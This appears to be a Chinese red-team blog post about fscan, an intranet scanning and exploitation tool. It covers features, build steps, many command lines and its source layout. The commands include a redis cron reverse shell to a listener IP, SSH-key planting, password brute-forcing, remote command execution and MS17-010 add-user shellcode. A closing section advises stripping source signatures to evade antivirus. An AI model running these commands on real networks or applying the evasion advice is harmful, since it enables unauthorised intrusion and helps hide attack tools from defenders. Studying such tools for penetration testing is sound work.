红队专题-工具Fscan

2023-10-15 08:36
文章标签 工具 fscan 专题 红队

本文主要是介绍红队专题-工具Fscan,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • 简介
    • 主要功能
  • ubuntu 安装
  • windows 安装
  • 常用命令:
  • 项目框架
    • 源文件
    • common目录
    • Plugins目录
    • Webscan目录
    • 爆破插件
      • common.Scantype
    • Webtitle函数
    • webpoc扫描类型
      • 指纹识别
  • 免杀
    • 源码特征
  • 参考链接

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

简介

快捷、简单的安全漏洞扫描工具fscan
fscan是一款用go语言编写的开源工具,一款内网安全综合漏洞扫描工具,方便一键自动化、全方位漏扫扫描。

支持主机存活探测、
端口扫描、
常见服务的爆破、
ms17010、
redis 批量写公钥、
计划任务反弹 shell、
读取 win 网卡信息、
web 指纹识别、
web 漏洞扫描、
netbios 探测、
域控识别等功能

https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc

主要功能

1.信息搜集:

存活探测(icmp)

端口扫描

2.爆破功能:

各类服务爆破(ssh、smb等)

数据库密码爆破(mysql、mssql、redis、psql等)

3.系统信息、漏洞扫描:

netbios探测、域控识别

获取目标网卡信息

高危漏洞扫描(ms17010等)

4.Web探测功能:

webtitle探测

web指纹识别(常见cms、oa框架等)

web漏洞扫描(weblogic、st2等,支持xray的poc)

5.漏洞利用:

redis写公钥或写计划任务

ssh命令执行

6.其他功能:

文件保存

ubuntu 安装

git clone https://github.com/shadow1ng/fscan.git编译命令go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)

windows 安装

他们说fscan1.4及之前的版本是可以过360等杀软
项目地址:https://github.com/shadow1ng/fscan/releases

编译版本:go1.21.1.windows-amd64.msi
https://golang.google.cn/dl/

常用命令:

(默认使用全部模块)
fscan.exe -h 192.168.1.1/24  (C段扫描)
fscan.exe -h 192.168.1.1/16  (B段扫描)
fscan.exe -h 192.168.1.1/8  (A段扫描,192.x.x.1192.x.x.254,方便快速查看网段信息 )其他:
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) Usage of fscan:-br intBrute threads (default 1)-c stringexec command (ssh) //ssh命令执行-cookie stringset poc cookie //设置cookie-debug intevery time to LogErr (default 60) //多久没响应,就打印当前进度-domain stringsmb domain //smb爆破模块时,设置域名-h stringIP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12-hf stringhost file, -hf ip.txt-hn stringthe hosts no scan,as: -hn 192.168.1.1/24 //扫描时,要跳过的ip: -hn 192.168.1.1/24-m stringSelect scan type ,as: -m ssh (default "all")-nonot to save output log //扫描结果不保存到文件中-nobrnot to Brute password //跳过sql、ftp、ssh等的密码爆破-nopocnot to scan web vul //跳过web poc扫描-npnot to ping //跳过存活探测-num intpoc rate (default 20) //web poc 发包速率-o stringOutputfile (default "result.txt") // 扫描结果保存到哪-p stringSelect a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")-pa stringadd port base DefaultPorts,-pa 3389 //新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)-path stringfcgi、smb romote file path-pingusing ping replace icmp-pn stringthe ports no scan,as: -pn 445 //扫描时要跳过的端口,as: -pn 445-pocname stringuse the pocs these contain pocname, -pocname weblogic //指定web poc的模糊名字, -pocname weblogic-pocpath stringpoc file path-portf stringPort File-proxy stringset poc proxy, -proxy http://127.0.0.1:8080 //设置代理, -proxy http://127.0.0.1:8080-pwd stringpassword //指定爆破时的密码-pwda stringadd a password base DefaultPasses,-pwda password //在原有密码字典基础上,增加新密码-pwdf stringpassword file //指定爆破时的密码文件-rf stringredis file to write sshkey file (as: -rf id_rsa.pub) //指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)-rs stringredis shell to write cron file (as: -rs 192.168.1.1:6666) //redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)-silentsilent scan // 静默扫描,适合cs扫描时不回显-sshkey stringsshkey file (id_rsa) //ssh连接时,指定ssh私钥-t intThread nums (default 600)-time intSet timeout (default 3) //端口扫描超时时间 (default 3)-top intshow live len top (default 10)-u stringurl-uf stringurlfile-user stringusername-usera stringadd a user base DefaultUsers,-usera user //在原有用户字典基础上,新增新用户-userf stringusername file-wt intSet web timeout (default 5) fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)
其他用法fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息) fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令) fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控) go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息) go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 BC段存活数量)-c stringssh命令执行-cookie string设置cookie-debug int多久没响应,就打印当前进度(default 60)-domain stringsmb爆破模块时,设置域名-h string目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12-hf string读取文件中的目标-hn string扫描时,要跳过的ip: -hn 192.168.1.1/24-m string设置扫描模式: -m ssh (default "all")-no扫描结果不保存到文件中-nobr跳过sql、ftp、ssh等的密码爆破-nopoc跳过web poc扫描-np跳过存活探测-num intweb poc 发包速率  (default 20)-o string扫描结果保存到哪 (default "result.txt")-p string设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")-pa string新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)-path stringfcgi、smb romote file path-ping使用ping代替icmp进行存活探测-pn string扫描时要跳过的端口,as: -pn 445-pocname string指定web poc的模糊名字, -pocname weblogic-proxy string设置代理, -proxy http://127.0.0.1:8080-user string指定爆破时的用户名-userf string指定爆破时的用户名文件-pwd string指定爆破时的密码-pwdf string指定爆破时的密码文件-rf string指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)-rs stringredis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)-silent静默扫描,适合cs扫描时不回显-sshkey stringssh连接时,指定ssh私钥-t int扫描线程 (default 600)-time int端口扫描超时时间 (default 3)-u string指定Url扫描-uf string指定Url文件扫描-wt intweb访问超时时间 (default 5)-pocpath string指定poc路径-usera string在原有用户字典基础上,新增新用户-pwda string在原有密码字典基础上,增加新密码-socks5指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)-sc 指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)

项目框架

源文件

在这里插入图片描述

common目录

在这里插入图片描述
config.go 配置文件可以用来修改字典和默认扫描端口
flag.go 用于命令行的选择比如-h -p 等
log.go 日志处理
Parse.go 对命令行选择进行处理
ParseIP.go 对输入ip进行处理
ParsePort.go 对输入端口进行处理
proxy.go 代理

Plugins目录

扫描时的功能插件

在这里插入图片描述

Webscan目录

在这里插入图片描述
rules.go这里时对指纹的处理
Lib目录 比较基础的操作
Pocs目录 放poc的地方

爆破插件

在这里插入图片描述
在这里插入图片描述
然后重点关注Addscan–>发现sacnfunc这个函数
从函数名也能大概猜到功能的用处
从代码结构也能判断出关键操作
·互斥锁
·添加扫描函数
·协程扫描过程
·执行并发任务
·释放资源

在这里插入图片描述
重点关注Pluginlist这个对象
在这里插入图片描述
这个对象通过map 进行映射
键(key)是字符串类型的端口号,值(value)是对应的扫描函数

common.Scantype

是一个表示扫描类型的字符串变量。它有以下几种取值:

“all”:对主机进行所有漏洞扫描;

“main”:对主机进行主要的漏洞扫描,包括 MS17-010、SMB、Web、WMI 等;

“ms17010”:只进行 MS17-010 的漏洞扫描;

“smb”:只进行 SMB 服务的漏洞扫描;

“webonly”:只进行 Web 服务的漏洞扫描;

“webpoc”:只进行基于 Web 的 PoC 验证;

“hostname”:只对 NetBIOS 主机名进行探测;

其他整数或字符串:只对指定端口号进行漏洞扫描。

Webtitle函数

在这里插入图片描述
发现大量原作者的模块shadow1ng—xxx
所以这里一定是查杀的重灾区

通过Gowebtitle函数我们可以跟踪到geturl函数
在这里插入图片描述
在外部是并发循环的,所以直接跟踪具体函数就OK
Info就是具体需要扫描的target实体
Geturl原作者ico探测部分是将部分header头是写死了的
在这里插入图片描述
可作为部分特征
这块在免杀的时候也确实验证了我的猜想
它是有一部分进入了特征库的

webpoc扫描类型

在这里插入图片描述

指纹识别

在这里插入图片描述
全局搜索 RuleDatas
在这里插入图片描述
转入InfoCheck

回到了 webtitle 函数
在这里插入图片描述

免杀

源码特征

在这里插入图片描述
原作者的github为shadow1ng
所以尽量避免出现原作者和红圈内的类库
项目内全局用别的方法替换掉

参考链接

通过阅读代码了解你所使用的工具 - 以 Fscan 为例 || 搭配视频
https://mp.weixin.qq.com/s/ht04295SJ0pCfJHwxccJLw

这篇关于红队专题-工具Fscan的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/216575

相关文章

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

【Linux 从基础到进阶】Ansible自动化运维工具使用

Ansible自动化运维工具使用 Ansible 是一款开源的自动化运维工具,采用无代理架构(agentless),基于 SSH 连接进行管理,具有简单易用、灵活强大、可扩展性高等特点。它广泛用于服务器管理、应用部署、配置管理等任务。本文将介绍 Ansible 的安装、基本使用方法及一些实际运维场景中的应用,旨在帮助运维人员快速上手并熟练运用 Ansible。 1. Ansible的核心概念

超强的截图工具:PixPin

你是否还在为寻找一款功能强大、操作简便的截图工具而烦恼?市面上那么多工具,常常让人无从选择。今天,想给大家安利一款神器——PixPin,一款真正解放双手的截图工具。 想象一下,你只需要按下快捷键就能轻松完成多种截图任务,还能快速编辑、标注甚至保存多种格式的图片。这款工具能满足这些需求吗? PixPin不仅支持全屏、窗口、区域截图等基础功能,它还可以进行延时截图,让你捕捉到每个关键画面。不仅如此

音视频入门基础:WAV专题(10)——FFmpeg源码中计算WAV音频文件每个packet的pts、dts的实现

一、引言 从文章《音视频入门基础:WAV专题(6)——通过FFprobe显示WAV音频文件每个数据包的信息》中我们可以知道,通过FFprobe命令可以打印WAV音频文件每个packet(也称为数据包或多媒体包)的信息,这些信息包含该packet的pts、dts: 打印出来的“pts”实际是AVPacket结构体中的成员变量pts,是以AVStream->time_base为单位的显

PR曲线——一个更敏感的性能评估工具

在不均衡数据集的情况下,精确率-召回率(Precision-Recall, PR)曲线是一种非常有用的工具,因为它提供了比传统的ROC曲线更准确的性能评估。以下是PR曲线在不均衡数据情况下的一些作用: 关注少数类:在不均衡数据集中,少数类的样本数量远少于多数类。PR曲线通过关注少数类(通常是正类)的性能来弥补这一点,因为它直接评估模型在识别正类方面的能力。 精确率与召回率的平衡:精确率(Pr

husky 工具配置代码检查工作流:提交代码至仓库前做代码检查

提示:这篇博客以我前两篇博客作为先修知识,请大家先去看看我前两篇博客 博客指路:前端 ESlint 代码规范及修复代码规范错误-CSDN博客前端 Vue3 项目开发—— ESLint & prettier 配置代码风格-CSDN博客 husky 工具配置代码检查工作流的作用 在工作中,我们经常需要将写好的代码提交至代码仓库 但是由于程序员疏忽而将不规范的代码提交至仓库,显然是不合理的 所

10个好用的AI写作工具【亲测免费】

1. 光速写作 传送入口:http://u3v.cn/6hXWYa AI打工神器,一键生成文章&ppt 2. 讯飞写作 传送入口:http://m6z.cn/5ODiSw 3. 讯飞绘文 传送入口:https://turbodesk.xfyun.cn/?channelid=gj3 4. AI排版助手 传送入口:http://m6z.cn/6ppnPn 5. Kim

分享5款免费录屏的工具,搞定网课不怕错过!

虽然现在学生们不怎么上网课, 但是对于上班族或者是没有办法到学校参加课程的人来说,网课还是很重要的,今天,我就来跟大家分享一下我用过的几款录屏软件=,看看它们在录制网课时的表现如何。 福昕录屏大师 网址:https://www.foxitsoftware.cn/REC/ 这款软件给我的第一印象就是界面简洁,操作起来很直观。它支持全屏录制,也支持区域录制,这对于我这种需要同时录制PPT和老师讲

生信圆桌x生信分析平台:助力生物信息学研究的综合工具

介绍 少走弯路,高效分析;了解生信云,访问 【生信圆桌x生信专用云服务器】 : www.tebteb.cc 生物信息学的迅速发展催生了众多生信分析平台,这些平台通过集成各种生物信息学工具和算法,极大地简化了数据处理和分析流程,使研究人员能够更高效地从海量生物数据中提取有价值的信息。这些平台通常具备友好的用户界面和强大的计算能力,支持不同类型的生物数据分析,如基因组、转录组、蛋白质组等。